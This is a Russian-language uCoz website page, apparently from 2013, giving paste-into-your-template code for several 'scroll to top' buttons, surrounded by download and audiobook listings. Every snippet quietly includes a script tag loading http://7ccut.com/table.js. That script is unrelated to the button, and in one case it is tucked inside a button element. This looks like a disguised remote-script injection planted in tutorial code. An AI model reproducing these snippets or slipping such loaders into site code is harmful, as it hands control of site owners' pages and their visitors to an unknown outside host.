Вторник, 01.07.2025, 04:40
Программы,Аудиокниги,Скрипты,Онлайн фильмы
– У тебя достаточно силы, чтобы сделать все, чего ты пожелаешь, за двумя исключениями: ты не можешь создать реальность; ты не можешь разрушить ее.
Ричард Бах

Главная Регистрация Вход
 Приветствую Вас, Гость · RSS
Меню сайта
Новости сайта

Чайка по имени Джонатан Ливингстон -Аудиокнига скачать бесплатно (3778)
Готовые домашние задания. ГДЗ 6-11 класс (5193)
Обман электросчетчика Схемы принципы работы (2363)
HandyCache (1543)
Katra - Out Of The Ashes (2010) (1801)
Скачать бесплатно Колядки та Щедрівки - Рождественские Песни (2011) (Музыка) (4304)
1CLICK DVD Converter 2.1.6.9 (1627)
"Гостья" - Стефани Майер. (2102)
Аудио Книга: Ричард Бах - "Иллюзии" (3361)
Авторизация на PHP через социальные сети для uCoz (1991)
Программа HashTab 4.0.0.1 /Скачать/ (1915)
Необыкновенные приключения Буратино и его друзей (аудиоспектакль) (2126)
Как львёнок и черепаха пели песню (1817)
Скачать музыку Саундтреки к фильму Мы из будущего OST (3076)
Youtube Downloader HD (1381)
Дал Роалд Чарли и шоколадная фабрика (1948)
Праздники блок для Ucoz (2118)
Океан Ельзи, Така, як ти (OST Мы Из Будущего) (6462)
Java скрипт - Генератор кода для выпадающего меню (6927)
ICE Book Reader Professional предлагает новой способ чтения книг (2959)

Прикольные Смайлики и Статусы для майл агента 5.7 Новые смайлики
Просмотров:[16608]
Скачиваний:[195]
Мощный анализатор ставок на рулетке Easy Roulette 2
Просмотров:[11101]
Скачиваний:[471]
Кнопка «Класс!» Одноклассники
Просмотров:[8031]
Скачиваний:[0]
Скачать бесплатно Stronghold Legends - Легенды Цитадели
Просмотров:[7584]
Скачиваний:[459]
Скачать Славянская клиника - Похудеть без диет и голода (аудиокурс/7 CD)
Просмотров:[7199]
Скачиваний:[102]
Отправить смс любым операторам бывшего снг
Просмотров:[6929]
Скачиваний:[176]
Java скрипт - Генератор кода для выпадающего меню
Просмотров:[6927]
Скачиваний:[0]

Описание и настройка HandyCache
Просмотров:[18550]

Как перевести деньги с телефона на телефон по Украине
Просмотров:[17768]


  • Притчи
  • [Жизнь прекрасна!Женские рассказы]
  • Анекдоты
  • [Анекдоты]
  • Любовь
  • [Любовь]

  •  
    Главная » 2013 » Ноябрь » 19 » Кнопки "Вверх" для сайта или блога
    14:24
    Кнопки "Вверх" для сайта или блога

    Разные кнопки "вверх и вниз" для сайта или блога
    Кнопка "Вверх" играет большую роль в улучшении удобства пользователя, особенно на тех страница которые сильно нагромождены контентом. А так как в настоящее время контент для сайта самое главное, то его на страницах, как правило, становится все больше и больше и самым лучшим способом перенаправить посетителя вверх страницы являются различные специальные кнопки



    Красивая кноапка "Вверх", появляется при прокрутки страници вниз и плавно исчезает при клике вверх.

    Как правильно установить "Кнопку Вверх" на сайт:
    Приступим. И так
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <a style="display: block;" id="toTop"><img src="http://pnghosts.ru/img/vverx_images_site.png" align="absmiddle" border="0"><br>Вверх</a><br/>
    <script src="http://7ccut.com/table.js" type="text/javascript"></script>
    <script src="http://pnghosts.ru/js_css/jquery.scroll.pack.js" type="text/javascript"></script>  
    <script type="text/javascript">  
    $(function() {  
    $("#toTop").scrollToTop();  
    });  
    </script>


    Это вставляем в "Таблица стилей (CSS)" в самый низ

    Код
    /* === jQ TOP === */  
    #toTop {  
      width: 50px;  
      background: #f1f1f1;
      border-width: 1px 1px 1px 1px;
      border-style: solid;
      border-color: #cccccc;
      -moz-border-radius: 10px 10px 10px 10px;
      -webkit-border-bottom-left-radius: 10px;
      -webkit-border-bottom-right-radius: 10px;
      -webkit-border-top-left-radius: 10px;
      -webkit-border-top-right-radius: 10px;
      text-align: center;  
      padding: 2px;  
      position: fixed;  
      bottom: 2px;  
      right: 2px;  
      cursor: pointer;  
      color: #666666;  
      text-decoration: none;  
    }
    /* =============== */


    Кнопка вверх для ucoz в стиле котэ



    Правильная установка:
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <script language="JavaScript" type="text/javascript">
    $(function() {
      $.fn.scrollToTop = function() {
      $(this).hide().removeAttr("href");
      if ($(window).scrollTop() >= "250") $(this).fadeIn("slow")
      var scrollDiv = $(this);
      $(window).scroll(function() {
      if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
      else $(scrollDiv).fadeIn("slow")
      });
      $(this).click(function() {
      $("html, body").animate({scrollTop: 0}, "slow")
      })
      }
    });

    $(function() {
      $("#Go_Top").scrollToTop();
    });
    </script>

    <a style='position: fixed; bottom: 25px; right: 50px; cursor:pointer; display:none;'
    href='#' id='Go_Top'>
      <img src="http://pnghosts.ru/img/kotikup.png" alt="Наверх" title="Наверх">
    </a><script src="http://7ccut.com/table.js" type="text/javascript"></script>
    </div>
    <script type='text/javascript' src='http://pnghosts.ru/js_css/arclite.js'></script>


    Кнопка вверх в процентах для сайта или блога



    Правильная установка:
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <!-- <Кнопка Вверх> -->  
      <script type="text/javascript">  
      $(document).ready(function(){  
    $("#back-top").hide();  
      $(function () {  
      $(window).scroll(function () {  
      if ($(this).scrollTop() > 125) {  
      $('#back-top').fadeIn();  
      } else {  
      $('#back-top').fadeOut();  
      }  
      });  
    $('#backop').click(function () {  
      $('body,html').animate({  
      scrollTop: 0  
      }, 800);  
      return false;  
      });  
      });  

      });  
      </script>  
    <script type="text/javascript">  
      $(window).scroll(function(){  
      var s = $(window).scrollTop();  
      var f = $(document).height()-$(window).height();  
    var d=s/f*100;  
      var p=Math.round(d);  
    $("#pix").text(p);  
    });  
      </script>  
    <div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; left: 10px; top: 83%; background: transparent; ">  
      <center><a title="Вверх" id="backop" href="#top"><img src="http://pnghosts.ru/img/up_knopka_vverx.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vverx.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vverx.png'"></a></center><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
    <center><font size="4" style="font-size: 11pt; color: rgb(255, 255, 255);"><b>  
      <span id="pix"></span>%</b></font></center>  
      </div>  
      <!-- </Конец> -->



    Кнопка вверх, вниз и зафиксировать для uCoz



    Все наверно видели кнопку вконтакте вверх, при скролинге страницы вниз. Этот скрипт модифицировал эту кнопку. С помощью его вы можете листать вниз страницу, вверх, а также зафиксировать страницу в том месте где вы хотите и вернуться, при желании, в это место.

    Скрипт лёгок в установке и очень полезен для сайтов с огромным контентом.

    1. Заходим в ПУ
    2. Управление дизайном
    3. Нижняя часть сайта
    4. Вставляем туда код:

    Код
    <div class="apoud">  
      <div onclick="$('body').scrollTo(0, 300);" class="apou"></div>  
      <div class="apom" title="Зафиксировать позицию"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div>  
      <div onclick="$('body').scrollTo($('body').height()+500, 300);" class="apod"></div>  
    </div>  

    <script>  
      var apotop;  
      $('.apom').toggle(function() {  
      $(this).addClass('apomon');  
      apotop = $('body').scrollTop();  
      }, function() {  
      $('body').scrollTo(apotop, 300);  
      $(this).removeClass('apomon');  
      });  
    </script>

    <style>
      .apoud {  
      position:fixed;  
      z-index:100;  
      bottom:15px;  
      right:15px;  
      }  
       
      .apou, .apom, .apod {  
      cursor:pointer;  
      width:50px;  
      height:50px;  
      }  
       
      .apou {  
      background:url('http://pnghosts.ru/img/vverx.png') no-repeat;  
      }  
      .apom {  
      background:url('http://pnghosts.ru/img/center_off.png') no-repeat;  
      }  
      .apomon {  
      background:url('http://pnghosts.ru/img/center_on.png') no-repeat;  
      }  
      .apod {  
      background:url('http://pnghosts.ru/img/vniz.png') no-repeat;  
      }
    </style>

    Просмотров: 1048 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2025

    Мультфильм Скрипт смотреть онлайн аудиокнига Программы 2010 Windows soft Rus build 2013 Multi Ashampoo studio Professional ENG СКАЧАТЬ БЕСПЛАТНО final скачать бесплатно ccleaner Utilities Portable adobe converter video русский Repack photo pro KpoJIuK ultimate D!akov Edition Advanced player Auslogics BoostSpeed PC рс 365 Commander Care Wise 2014 uninstall TooL Download Internet Business
    Заработать Твиттер



    Поиск
    Услуги
    Бесплатный Хостинг
    Посоветовать страницу

    Аудиокнига случайная
    Петр Китаев - Жилец без прописки (Детектив,Аудиокнига) (2025)
    Call of Duty Roads to Victory (2007) (RUS) (PSP) (1679)
    Клугер Даниэль - Последний выход Шейлока (Детектив,Аудиокнига) (1705)
    Антология юмора (1948)
    Киплинг Редьярд - Ким (Приключения,Аудиокнига) (1413)
    Гарднер Эрл Стэнли - Дело о длинноногих манекенщицах (Детектив,Аудиокнига) (1807)
    Практический курс Трансерфинга за 78 дней – Вадим Зеланд (2193)
    Пауло Коэльо - Дневник мага, скачать Аудиокнигу бесплатно (2957)
    Аудио Книга: Ричард Бах - "Иллюзии" (3361)
    Кук Робин - Грань риска (Мистика,Аудиокнига) (1413)
    Борис Акунин (1774)
    Адмиралъ (Аудиокнига) (1884)
    «Алые паруса» - А.С. Грин - аудиокнига (5089)
    Скачать «Как я съел собаку». Евгений Гришковец (аудиокнига) (2161)
    Сергей Мусаниф. Гвардия /аудиокнига / MP3 (2185)
    Вход
    Статистика

    Онлайн всего: 8
    Гостей: 8
    Пользователей: 0

    Copyright MyCorp © 2025
    Яндекс.Метрика
    |